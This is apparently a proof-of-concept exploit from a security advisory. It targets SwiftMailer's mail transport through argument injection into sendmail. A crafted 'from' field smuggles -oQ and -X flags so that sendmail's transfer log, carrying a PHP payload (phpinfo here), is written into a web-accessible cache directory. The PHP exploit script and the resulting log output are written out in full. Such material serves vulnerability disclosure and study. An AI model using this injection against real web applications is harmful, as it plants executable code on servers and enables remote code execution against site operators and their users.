A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == ["@email.com]


which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:

09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<


See the full advisory URL for the exploit details.

// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field

$email_from = '"attacker" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';

// ------------------

// mail() param injection via the vulnerability in SwiftMailer

require_once 'lib/swift_required.php';
// Mail transport
$transport = Swift_MailTransport::newInstance();
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);

// Create a message
$message = Swift_Message::newInstance('Swift PoC exploit')
->setFrom(array($email_from => 'PoC Exploit Payload'))
->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
->setBody('Here is the message itself')
;
// Send the message with PoC payload in 'from' field
$result = $mailer->send($message);
